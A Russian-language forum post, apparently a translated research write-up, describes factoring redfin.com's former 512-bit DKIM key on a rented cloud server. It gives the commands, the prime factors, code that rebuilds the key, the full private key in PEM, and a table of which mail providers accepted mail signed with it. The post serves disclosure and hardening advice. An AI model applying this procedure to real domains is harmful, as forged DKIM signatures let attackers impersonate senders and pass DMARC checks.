Статья Как взломали 512-разрядный ключ DKIM в облаке менее чем за $8

Admin

Администратор

Как взломали 512-разрядный ключ DKIM в облаке менее чем за $8​

В ходе нашего исследования, охватывавшего записи SPF, DKIM и DMARC на 1 миллионе самых популярных веб-сайтов, мы с удивлением обнаружили более 1 700 открытых DKIM-ключей длиной менее 1 024 бит каждый. Эта находка нас удивила, поскольку RSA-ключи короче 1 024 бит расцениваются как небезопасные, и их не рекомендуется использовать в DKIM с 2018 года, когда был введён в действие документ RFC 8301.

Просто из любопытства мы решили проверить, а удастся ли нам взломать один из таких ключей. Мы стремились извлечь закрытый ключ из открытого RSA-ключа, так, чтобы можно было подписывать им электронные сообщения, выдавая себя за их подлинного отправителя. Кроме того, нас занимало, пройдут ли DKIM-верификацию электронные письма, подписанные таким скомпрометированным ключом. Мы решили проверить крупнейших провайдеров электронной почты — в частности, Gmail, Outlook.com и Yahoo Mail — вдруг они просто с порога откажутся проверять цифровые подписи, сгенерированные настолько коротким ключом.

Для нашего эксперимента мы выбрали домен redfin.com, на котором нашли 512-разрядный открытый RSA-ключ по адресу key1._domainkey.redfin.com (сейчас он уже не доступен):
Python:
$ dig +short TXT key1._domainkey.redfin.com
"k=rsa; p=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMx7VnoRmk/wFPeFWxrVUde6AJQI51/uPFL2CbiHGMnRSnLjPs72AgxAVHIe5QrNQ2riR5+7u47Sgh5R5va/d0cCAwEAAQ=="

Декодируем открытый RSA-ключ​

Открытый ключ, расположенный в метке p записи DKIM, закодирован в формате ASN.1 DER format, а затем закодирован как Base64. Чтобы декодировать ключ и далее получить модуль (n) и открытую экспоненту (e), мы воспользовались парой строк кода на Python:
Python:
$ python3
>>> from Crypto.PublicKey import RSA
>>> RSA.import_key('-----BEGIN PUBLIC KEY-----\n' + 'MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMx7VnoRmk/wFPeFWxrVUde6AJQI51/uPFL2CbiHGMnRSnLjPs72AgxAVHIe5QrNQ2riR5+7u47Sgh5R5va/d0cCAwEAAQ==' + '\n-----END PUBLIC KEY-----')
RsaKey(n=10709580243955269690347257968368575486652256021267387585731784527165077094358215924099792804326677548390607229176966588251215467367272433485332943072098119, e=65537)

Факторизация модуля RSA​

Имея модуль n, далее мы собирались определить два простых числа p и q, произведение которых равно n. Эффективно выполнить такой процесс, именуемый «факторизацией» — задача порой непростая. К счастью, мы нашли мощный опенсорсный инструмент CADO-NFS, предназначенный именно для этой цели. В нём предлагается очень простая в использовании реализация алгоритма «решето числового поля» (NFS). Это наиболее эффективный из известных методов факторизации больших целых чисел.

Поскольку на факторизацию требуется значительная вычислительная мощность, а мы не хотели занимать это задачей наши компьютеры на много суток, мы решили арендовать облачный сервер. Выбрали сервер с 8 выделенными виртуальными ядрами ЦП (серия AMD EPYC 7003 series) и 32 ГБ ОЗУ от Hetzner, в качестве операционной системы установили Ubuntu. Далее нам не составило труда настроить CADO-NFS:
Код:
git clone https://gitlab.inria.fr/cado-nfs/cado-nfs.git
cd cado-nfs
make
Чтобы гарантировать, что у сервера хватит памяти на решение этой задачи, мы добавили ещё и область подкачки размером 32 ГБ:
Код:
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
Мы приступили к факторизации, вызвав скрипт cado-nfs.py и сообщив ему n в качестве ввода:
Код:
./cado-nfs.py 10709580243955269690347257968368575486652256021267387585731784527165077094358215924099792804326677548390607229176966588251215467367272433485332943072098119
На нашем сервере с 8 виртуальными ядрами ЦП весь процесс занял примерно 86 часов, и мы успешно разложили n на p и q:
Код:
Info:Complete Factorization / Discrete logarithm: Total cpu/elapsed time for entire Complete Factorization 2.20529e+06/309865 [3d 14:04:25]
97850895333751392558280999318309697780438485965134147739065017624372104720767 109447953515671602102748820944693252789237215829169932130613751100276125683257
Вероятно, задача решалась бы ещё быстрее, если бы мы выбрали более мощный сервер или распределили рабочую нагрузку на несколько систем (такой процесс упрощается при помощи CADO-NFS), но мы никуда не торопились и вполне были готовы немного подождать.

Сборка закрытого RSA-ключа​

Определив p и q, мы имели в распоряжении все необходимые компоненты, чтобы собрать закрытый RSA-ключ. При этом мы пользовались Python и библиотекой PyCryptodome:
Python:
$ python3
>>> from Crypto.PublicKey import RSA
>>> from Crypto.Util.number import inverse
>>> p = 97850895333751392558280999318309697780438485965134147739065017624372104720767
>>> q = 109447953515671602102748820944693252789237215829169932130613751100276125683257
>>> e = 65537
>>> n = p * q
>>> phi = (p-1) * (q-1)
>>> d = inverse(e, phi)
>>> key = RSA.construct((n, e, d, p, q))
>>> private_key = key.export_key()
>>> print(private_key.decode())
В этих строках на Python выводится закрытый ключ в формате PEM, он готов к использованию:
Код:
-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBAMx7VnoRmk/wFPeFWxrVUde6AJQI51/uPFL2CbiHGMnRSnLjPs72
AgxAVHIe5QrNQ2riR5+7u47Sgh5R5va/d0cCAwEAAQJAPliEv2dKk4DyA54nbwEH
mSzfLEOiuD8dKXZW9GpMhou72DYYcc5YD0PeQW0uGGsusnTZXRU3Kd3cmVfeR+np
4QIhANhVpOQ440Gqlda3nqCOAag12jq8ET+qr1G7VL8x9PF/AiEA8flYr5rUO6Io
/5HRoHq6p7dA75PRK+7v79o0/ijfTjkCIEdWPpCPfckKomxykllpWnyIfZT+rUVs
WHHAL1r480erAiAz3xD87ALtGbESQE8gyM50n5sjAJwJf/odf7h2d4qPOQIhAKwr
Nv6s5cQiwbYgm1KND83nrkxe6uFQlu9ilkdwAIY4
-----END RSA PRIVATE KEY-----
Отправка тестовых сообщений, подписанных DKIM, с домена @redfin.com
Встроив закрытый RSA-ключ в нашу конфигурацию OpenDKIM, мы перешли к этапу тестирования. Соорудили простое электронное сообщение, в качестве адреса отправителя указали [email protected], а затем разослали это письмо на разные почтовые хостинги. Хотя большинство провайдеров верно идентифицировали 512-разрядный ключ как небезопасный и отклонили нашу DKIM=подпись, три крупных провайдера — Yahoo Mail, Mailfence и Tuta — выдали нам результат dkim=pass.
Вот как распределились ответы по провайдерам:
  • Gmail: ОТКАЗ
  • Outlook: ОТКАЗ
  • Yahoo Mail: ПРОЙДЕНО
  • Zoho: ОТКАЗ
  • Fastmail: ОТКАЗ
  • Proton Mail: ОТКАЗ
  • Mailfence: ПРОЙДЕНО
  • Tuta: ПРОЙДЕНО
  • GMX: ОТКАЗ
  • OnMail: ОТКАЗ
Учитывая, что у redfin.com также есть действующая DMARC-запись (v=DMARC1;p=reject;pct=100;rua=mailto:[email protected];ruf=mailto:[email protected];ri=3600;fo=1;), прохождение DKIM-проверки нашим сообщением с redfin.com автоматически означает, что наше сообщение прошло и DMARC-верификацию. Соответственно, оно удовлетворяет требованиям BIMI.

Вместо заключения​

Тридцать лет назад взломать 512-разрядный открытый RSA-ключ можно было только на суперкомпьютере. Сегодня эта задача решаема за считанные часы на облачном сервере, за который придётся выложить $8. Если же у вас дома есть мощный компьютер с 16 или более ядрами, то эту задачу вы можете решить ещё скорее и экономичнее.

Соответственно, сегодня нецелесообразно использовать ключи из 512 или 768 разрядов. Сервисы электронной почты должны автоматически отклонять любую DKIM-сигнатуру, сгенерированную RSA-ключом короче 1 024 разрядов. Мы довели до сведения Yahoo, Mailfence и Tuta результаты нашего исследования и поделились с этими компаниями нашими советами.

Владельцы доменов должны принимать меры, регулярно проверяя свои DNS-настройки на наличие каких-либо устаревших DKIM-записей, не соответствующих стандарту «минимум 1024 разряда». Проще всего это сделать, проверив в записи DKIM метку p и подсчитав её символы Base64: в открытом 1024-разрядном RSA-ключе здесь будет не менее 216 символов.
 
Похожие темы
Admin Интересно Seed-фразы, ключи и чужой код. Рассказываем, как хакеры взломали библиотеки dYdX. Новости в сети 0
Support81 Как хакеры взломали мир: 14 самых громких взломов 2023 года Новости в сети 1
Support81 Юные британские хакеры взломали десятки организаций по всему миру, как им это удалось? Новости в сети 0
Admin Статья Создание крестражей или как дать вторую жизнь файловой безопасности Анонимность и приватность 0
Admin Статья Как получить бесплатный план Cloudflare (и автоматизировать работу с ним) Полезные статьи 0
Admin Интересно 16 ИИ-агентов Claude, две недели и $20 000. Как искусственный интеллект написал компилятор C и собрал ядро Linux. Новости в сети 0
Admin Интересно Ваш сервер — их прокси. Краткий гид по тому, как не стать частью ботнета TeamPCP. Новости в сети 0
Admin Статья Как найти владельца и админа Telegram канала OSINT 0
Admin Интересно ИИ съел всю память. Qualcomm объясняет, почему ваш новый телефон будет стоить как крыло самолёта. Новости в сети 0
Admin Интересно Купил видеокарту — подарил данные хакерам. Как Canada Computers «защищает» своих клиентов. Новости в сети 0
Admin Статья Как понять что в файле склейка Вирусология 0
Admin Интересно Как взломать взломщика? Достаточно найти в его коде одну «забытую кнопку». Новости в сети 0
Admin Интересно Хакер думал, что украл пароль, а на самом деле – позвонил в полицию. На GitHub учат, как развести взломщика на эмоции (и логи). Новости в сети 0
Admin Интересно Четверть биткоина за «квантовые мозги». Рассказываем, как поднять крипту на знании физики. Новости в сети 0
Admin Интересно Один пакет = полный контроль VMware — дыру не латают 18 месяцев, серверы падают как домино. Новости в сети 0
Admin Статья Как на основе ФИО, даты рождения и района получить номер паспорта и ИНН. OSINT 0
Admin Статья Ядовитые гифки. Как работает уязвимость GIFShell Уязвимости и взлом 0
Admin Статья Пентест. Как получить свои первые root права. Уязвимости и взлом 0
Admin Интересно Ваш компьютер ведет двойную жизнь. Как домашние IP становятся инструментом в руках хакеров. Новости в сети 0
Admin Интересно «Отдай мастер-пароль, или всё удалим!». Как хакеры берут на мушку пользователей LastPass. Новости в сети 0
Admin Интересно Секретные настройки браузера для боссов: как вычистить всё лишнее из Chrome и Firefox без сомнительных форков. Новости в сети 0
Admin Интересно Сначала помогут, потом ограбят. Как хакеры превратили Microsoft Quick Assist в «троянского коня». Новости в сети 0
Admin Интересно Ваш принтер не то, чем кажется. Как хакеры прячут вирусы в установщиках драйверов. Новости в сети 0
Admin Статья Как правильно изучать malware-кодинг под Windows Вирусология 0
Admin Интересно «Пароль01» и дырявый VPN. Как пустить хакеров в сеть, чтобы они сломали вообще всё (пошаговая инструкция). Новости в сети 0
Admin Статья Как "Казаки" паттерны мошенников-"Разбойников" вычисляют, вооружаясь технологиями. Анонимность и приватность 0
Admin Интересно Ваш сервер — их притон: как группа UAT-7290 сдает ваши сервера в аренду своим друзьям. Дорого. Новости в сети 0
Admin Интересно Как стать «богом» в Linux, просто правильно подгадав время. Спойлер: вам понадобится Chronomaly. Новости в сети 0
Admin Статья Как оставаться незаметным в 2025 году – простые правила оперативной безопасности для всех. Анонимность и приватность 0
Admin Статья HTTP Request Smuggling в 2025: Как обходить современные WAF Уязвимости и взлом 0
Admin Статья Криптография в малвари: Как работают вымогатели (Ransomware). Полезные статьи 0
Admin Статья Право на root. Как повышают привилегии в Linux. Уязвимости и взлом 0
Admin Статья Как простой баг повреждения памяти ядра Linux приводит к полной компрометации системы(Часть 2) Уязвимости и взлом 0
Admin Статья Как простой баг повреждения памяти ядра Linux приводит к полной компрометации системы(Часть 1) Уязвимости и взлом 0
Admin Статья Как Mozilla упустила (не)очевидную уязвимость Уязвимости и взлом 0
Admin Статья Почему ваш «Windows» прокси палится как Linux: Глубокий разбор TCP Window Size, о котором молчат. Анонимность и приватность 0
Admin Интересно Старый конь борозды не испортит. Как сертификат десятилетней давности помог хакерам проникнуть в госучреждения Азии. Новости в сети 0
Admin Статья Direct Syscalls vs EDR: Как заставить Windows выполнять ваши команды в обход хуков защитного ПО Вирусология 0
Admin Интересно Gemini лезет из каждой дыры Chrome? Вот как убить все ИИ-кнопки и вернуть нормальный браузер. Новости в сети 0
Admin Интересно «Здравствуйте, я журналист, заполните анкету». Как хакеры из КНДР «разводят» южнокорейских экспертов. Новости в сети 0
Admin Статья Гейминг как источник данных: OSINT в виртуальных мирах OSINT 0
Admin Статья Крипто-детектив: Идем по следу транзакций. Как деанонить блокчейн. OSINT 0
Admin Интересно Семь миллионов долларов за одну ночь. Рассказываем, как пострадали пользователи Trust Wallet и что делать сейчас. Новости в сети 0
Admin Интересно Казалось, что летим, а на деле — ползём. Как ИИ-помощники незаметно крадут время у профессиональных кодеров. Новости в сети 0
Admin Статья Анонимные мессенджеры: Как общаться, не оставляя следов Анонимность и приватность 0
Admin Интересно Охотник стал добычей. Как «безопасники» ловят вирусы, пытаясь скачать инструменты для их поиска. Новости в сети 0
Admin Интересно Цифровое чудо на Рождество. Как ученым удалось восстановить UNIX V4 с ленты 1970-х годов. Новости в сети 0
Admin Статья Взгляд с другой стороны: как Linux админ ловит вас Полезные статьи 0
Admin Статья Как отслеживается e-mail? OSINT 0
Support81 «Менеджер» с архивом и черным ходом через Yandex. Как группировка APT31 годами шпионила за российскими IT-компаниями Новости в сети 1

Название темы